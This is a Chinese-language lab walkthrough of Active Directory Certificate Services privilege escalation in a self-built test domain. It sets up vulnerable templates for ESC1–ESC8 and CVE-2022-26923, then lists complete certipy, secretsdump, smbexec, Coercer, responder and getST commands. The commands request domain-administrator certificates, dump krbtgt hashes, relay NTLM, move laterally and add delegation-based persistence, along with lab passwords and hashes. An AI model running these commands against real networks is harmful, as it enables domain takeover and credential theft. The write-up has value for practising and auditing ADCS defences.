tips:
搭建问题
快照进去,证书服务器脱机,下载不了证书
https://stealthpuppy.com/resolving-issues-starting-ca-offline-crl/
靶机环境
DC(域控) win2016 AD
192.168.142.20
ADCS证书服务器(辅助域控) ADCS
192.168.142.21
域用户
qxn/Penson@2016yyds
域管权限登录adcs证书服务器安装
辅助域控搭建
设置DSRM还原密码
复制ad
配置角色服务
选择企业ca
一路下一步即可
配置证书注册 web 服务
下一步到这里
等下分配ssl证书
一路下一步即可
ldap特征
ESC1
ESC1是指证书模板允许客户端身份验证并允许登记者提供任意主题备用名称,允许普通用户注册证书,根据存在漏洞的证书模板请求域管证书。
环境搭建
点复制模板
常规那里改为PensonESC1
安全里点高级选择立即查找 选择Domain Users
加进去后,赋予注册权限
使用者名称选择在请求中提供,也就是开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,选择应用
选择创建的新模板
漏洞利用
https://www.adminxe.com/4051.html
假设拿到域账号qxn
certipy find -u qxn@penson.org -p Penson@2016yyds -dc-ip 192.168.142.20 -debug -scheme ldap -stdout -vulnerable //ldaps 没开的话
certipy find -u qxn@penson.org -p Penson@2016yyds -dc-ip 192.168.142.20 -stdout -vulnerable //默认ldaps
请求域管证书
target为ADCS证书服务器的ip,template,ca 要和上面的对的上
certipy req -u qxn@penson.org -p Penson@2016yyds -target 192.168.142.21 -ca penson-ADCS-CA -template PensonESC1 -upn administrator@penson.org
拿TGT
certipy auth -pfx administrator.pfx -dc-ip 192.168.142.21 -scheme ldap //ldap
certipy auth -pfx administrator.pfx -dc-ip 192.168.142.21 -ldap-shell //ldaps
导出hash
方式一:
secretsdump.py penson.org/administrator@192.168.142.20 -just-dc-user PENSON/krbtgt -hashes aad3b435b51404eeaad3b435b51404ee:e1342d6f7b624f52d60008e44be76aa4
方式二:
export KRB5CCNAME=administrator.ccache
python3 secretsdump.py -k -no-pass AD.penson.org -just-dc-user krbtgt -target 192.168.142.20 -debug
横向移动
smbexec.py -no-pass -k ad.penson.com
如果secretsdump 报错,同步一下时间
sudo apt install ntpdate
sudo ntpdate 172.16.0.106
这里有些环境需要配一下dns解析,linux方便些,所以采用kali
ESC2
ESC2 是指证书模板可用于任何目的。由于该证书可用于任何目的,因此对于大多数证书模板来说,它可用于与 ESC3 相同的技术。和ESC1差别不大
环境搭建
刚开始和esc1一样
应用程序策略这里写无
和esc1一样在请求中提供就行
颁布
漏洞利用
certipy find -u qxn@penson.org -p Penson@2016yyds -dc-ip 192.168.142.21 -debug -scheme ldap -stdout -vulnerable //ldaps 没开的话
certipy find -u qxn@penson.org -p Penson@2016yyds -dc-ip 192.168.142.21 -stdout -vulnerable //默认ldaps
注册esc2证书
certipy req -u qxn@penson.org -p Penson@2016yyds -ca penson-ADCS-CA -dc-ip 192.168.142.21 -template PensonEsc2 -upn administrator@penson.org -debug
获取TGT 注意要输入真正的域控ip,如果不行就去搞rbcd
certipy auth -pfx administrator.pfx -dc-ip 192.168.142.20
ESC3
ESC3 是指证书模板指定证书请求代理 EKU(注册代理)。该 EKU 可用于代表其他用户请求证书。由此可以去申请域管证书。类似委派s4u2Proxy那样
环境搭建
复制代理注册模板,配置安全和前面一样
这边的策略是证书申请代理
漏洞利用
请求域用户qxn的证书
certipy req -username qxn@penson.org -password Penson@2016yyds -ca penson-ADCS-CA -target ADCS.penson.org -template PensonESC3
请求adminstrator证书
certipy req -u qxn@penson.org -p Penson@2016yyds -ca penson-ADCS-CA -target ADCS.penson.org -template User -on-behalf-of 'PENSON\Administrator' -pfx qxn.pfx
发现被策略模块拒绝
不知道为啥kali环境下可以,欢迎大佬指导
ESC4
ESC4 是指用户对证书模板具有写入权限。会被滥用来覆盖证书模板的配置,使模板容易受到 ESC1 的攻击。通常是先将证书修改为ESC1的利用条件,再利用ESC1去构造
环境搭建
属性为写入
配置发布要求
漏洞利用
将其修改为esc1
certipy template -username qxn@penson.org -password Penson@2016yyds -template PensonESC4 -dc-ip 192.168.142.21 -save-old
然后用esc1的方式去请求证书
certipy req -u qxn@penson.org -p Penson@2016yyds -target 192.168.142.21 -ca penson-ADCS-CA -template PensonESC4 -upn administrator@penson.org
certipy auth -pfx administrator.pfx -dc-ip 192.168.142.20
ESC6
ESC6是CA指定EDITF_ATTRIBUTESUBJECTALTNAME2标志的时候。无论证书模板如何配置,此标志都允许登记者在所有证书上指定任意 SAN。该攻击与 ESC1 相同。
环境搭建
启用EDITF_ATTRIBUTESUBJECALTNAME2
certutil –setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
重启服务
net stop certsvc && net start certsvc
该攻击与 ESC1 相同,只是您可以选择允许客户端身份验证的任何证书模版
漏洞利用
certipy req -username qxn@penson.org -password Penson@2016yyds -ca penson-ADCS-CA -target 192.168.142.21 -template User -upn administrator@penson.org
certipy auth -pfx administrator.pfx -dc-ip 192.168.142.20
ESC7
ESC7 是指用户拥有CA 的访问权限Manage CA,可以使用它来颁发或拒绝待处理的证书请求。从而请求域管证书
环境搭建
在ADCS服务器上证书颁发机构给User添加权限
在ADCS服务器上证书颁发机构给Users用户添加“颁发和管理证书”,“管理CA”权限
漏洞利用
添加用户到管理员
certipy ca -ca 'penson-ADCS-CA' -add-officer qxn -username qxn@penson.org -password Penson@2016yyds -target 192.168.142.21
SubCA可以使用参数在 CA 上启用该模板-enable-template。默认情况下,SubCA模板已启用
certipy ca -ca 'penson-ADCS-CA' -enable-template SubCA -username qxn@penson.org -password Penson@2016yyds -target 192.168.142.21 -debug
请求证书
certipy req -username qxn@penson.org -password Penson@2016yyds -target 192.168.142.21 -ca penson-ADCS-CA -template SubCA -upn administrator@penson.org
该请求将被拒绝,但我们将保存私钥并记下请求 ID。
再次请求
certipy ca -ca 'penson-ADCS-CA' -issue-request 33 -username qxn@penson.org -password Penson@2016yyds -target 192.168.142.21
最后,我们可以使用req命令和-retrieve <request id="">参数检索颁发的证书。</request>
certipy req -username qxn@penson.org -password Penson@2016yyds -ca penson-ADCS-CA -target 192.168.142.21 -retrieve 33
ESC8
ESC8 是指注册服务已安装并通过 HTTP 启用 Web 注册,从而可以利用NTLM中继。这个实战环境好像挺难,因为需要目标向监听服务器发起请求,内网基本不出网,不知道大佬操作了,估计别的大哥有别的方式。
环境搭建
Iis管理
在ADCS服务中,管理员可以添加基于HTTP的证书注册服务,而这种基于HTTP的证书接口,特别容易受到NTML中继攻击,通过NTML中继攻击,可以窃取任何进行NTML身份认证的AD用户。
选择certSrv 身份认证
漏洞利用
certipy可以直接进行监听,去申请域管的证书
certipy relay -target 'http://192.168.142.21' -template DomainController
使用https://github.com/p0dalirius/Coercer强制身份认证
./Coercer.py coerce -l 192.168.21.101 -t 192.168.142.21 -u 'qxn' -p 'Penson@2016yyds' -d penson.org -v
拿ad.pfx证书去导hash
也可以用responder监听
responder --interface eth0
发起请求
./Coercer.py coerce -l 192.168.21.101 -t 192.168.142.21 -u 'qxn' -p 'Penson@2016yyds' -d penson.org -v
拿到ADCS$的NTLM v2,去爆破解密就行
CVE-2022-26923(ADCS提权漏洞)
Active Directory 域权限提升漏洞(CVE-2022-26963 )允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员,修改DNSHostname为域控机器即可伪造域控机器申请证书
漏洞利用
先申请低权限账户证书
certipy req -username qxn@penson.org -password Penson@2016yyds -ca penson-ADCS-CA -target 192.168.142.21 -template User
创建机器账户,并把DNSHostname改为域控的DNSHostname
certipy account create -username qxn@penson.org -password Penson@2016yyds -target 192.168.142.21 -user machine1 -dns "AD.penson.org"
获取Machine账户证书
certipy req -username machine1\$@penson.org -password NmfsMZd6cygHXnYM -target 192.168.142.21 -ca penson-ADCS-CA -template Machine
可以发现已经变成ad的证书了
验证证书,拿到机器账户AD$的hash
certipy auth -pfx ad.pfx -dc-ip 192.168.142.20 -debug
secrectdump
secretsdump.py penson.org/ad\$@192.168.142.20 -just-dc-user PENSON/krbtgt -hashes aad3b435b51404eeaad3b435b51404ee:c0032e2567e4f12b7f8ba3e436db4177
权限维持
RBCD(基于资源约束委派)
可以用bloodyAD,也可以用新版的certipy直接添加rbcd进行权限维持
进入ldap-shell
certipy auth -pfx administrator.pfx -dc-ip 192.168.142.20 -ldap-shell
add_computer penson$ penson123 #添加机器账户
set_rbcd AD$ penson$ #添加到AD的基于资源约束委派
请求票据
python3 getST.py -spn cifs/AD.penson.org -impersonate administrator -dc-ip 192.168.142.20 penson.org/penson$:penson123
参考文献
https://forum.butian.net/share/1583
https://t0ngmystic.com/sec/ad%E5%9F%9F-adcs%E9%94%99%E8%AF%AF%E9%85%8D%E7%BD%AE-esc8/
https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html
https://github.com/ly4k/Certipy